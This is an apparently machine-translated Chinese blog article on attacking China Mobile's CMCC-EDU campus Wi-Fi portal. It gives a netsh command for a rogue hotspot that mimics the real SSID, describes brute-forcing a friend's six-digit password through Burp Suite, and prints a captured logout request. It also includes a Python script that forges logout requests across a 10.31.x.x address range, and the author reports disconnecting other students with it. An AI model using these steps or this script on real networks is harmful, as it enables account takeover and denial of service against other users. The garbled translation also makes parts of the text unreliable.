如果可以接受，就可以做到.

登录带有E行的移动应用程序没有任何限制，这可能会导致帐户爆炸. 另外，在联机和脱机时，背景都是通过wlanuserip字段以表格的形式进行判断的移动随e行账号密码，这显然是可控的.

测试目标: 使用E行移动最新的IOS版本

无线网络测试环境: CMCC-EDU

旧规则首先将CMCC-EDU网络与计算机连接

下一个CMD:

代码区

netsh wlan set hostednetwork mode=allow ssid=CMCC-EDU key=00000000&&netsh wlan start hostednetwork

说明这用于共享wifi信号. 我相信很多学生都用过它. 请注意，此处的SSID必须与公共热点的名称相同，因为当您使用E登录时，它将判断您的SSID是否可移动. 热点名称. 这些准备工作是为了获取手机的HTTP数据包（对于开放的网络数据包捕获，您不必那么麻烦，只是为了更好地演示），然后计算机打开Burpsuite代理（监视所有接口），并且然后使用手机Signal（请注意已锁定）连接到您自己的CMCC-EDU，设置代理地址和端口

这些准备工作完成后，您可以使用E Bank打开登录包. 该演示非常方便使用我的好友的帐户进行测试. 我不知道他的密码. 实际上，他不知道，因为他通常只使用它. 动态密码.

数据包捕获图如下:

抓取包裹后，您可以进行爆炸，然后耐心等待，返回内容包含LOGOUT，表示爆炸成功

运气很好，很快就会爆炸. 密码: 207891. 目前，它已经登录，您已经可以浏览Internet. 要验证密码是否正确，需要先注销再登录. 然后抓取退出的POST程序包，具体内容如下:

代码区

POST /suiexingclient.jsp HTTP/1.1
Host: **.**.**.**
Proxy-Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=rv4GT5dphVVcTC1y0kQR9K2F2p1Nn2VmlBJJpB5G91lxlMynYh7M!-189125796; sto-id-20480=BCFBIFKMJABP
Accept-Language: zh-cn
Accept: */*
Content-Length: 108
Connection: keep-alive
User-Agent: G3WLAN
wlanacssid=CMCC&wlanacname=0116.0510.250.00&wlanuserip=**.**.**.**&actiontype=LOGOUT&logonsessid=1480830767

从发送的内容可以看出，离线可以通过现场IP来实现. 为了验证该想法移动随e行账号密码，可以修改IP内容. 我们学校的IP地址范围是**. **. **. * *-**. **. **. **，编写脚本进行验证.

代码区

import socket
import httplib2
import urllib
def get_my_ip():
    try:
        csock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        csock.connect(('**.**.**.**', 80))
        (addr, port) = csock.getsockname()
        csock.close()
        return addr
    except socket.error:
        return "**.**.**.**"
def offline(ip):
    urlstr = 'http://**.**.**.**/suiexingclient.jsp'
    data = dict(wlanacname="0116.0510.250.00",wlanuserip=ip,actiontype="LOGOUT",logonsessid="480050378")
    h = httplib2.Http('.cache')
    
    response,content = h.request(
        urlstr, 
        'POST', 
        urllib.parse.urlencode(data),
        headers={'Content-Type': 'application/x-www-form-urlencoded'}
        )
    #sleep(100)
    print(ip+"下线成功！")
if __name__ == "__main__":
	ip=get_my_ip()
	offline(ip)
	for i in range(110,120):
		for j in range(0,255):
			offline("10.31."+str(i)+"."+str(j))

隔壁宿舍中CMCC-EDU网络上的一些学生已断开连接. （据我所知，移动无线网络都位于10.x.x.x网段上. ）

本文来自电脑杂谈，转载请注明本文网址：
https://www.pc-fly.com/a/ruanjian/article-263554-1.html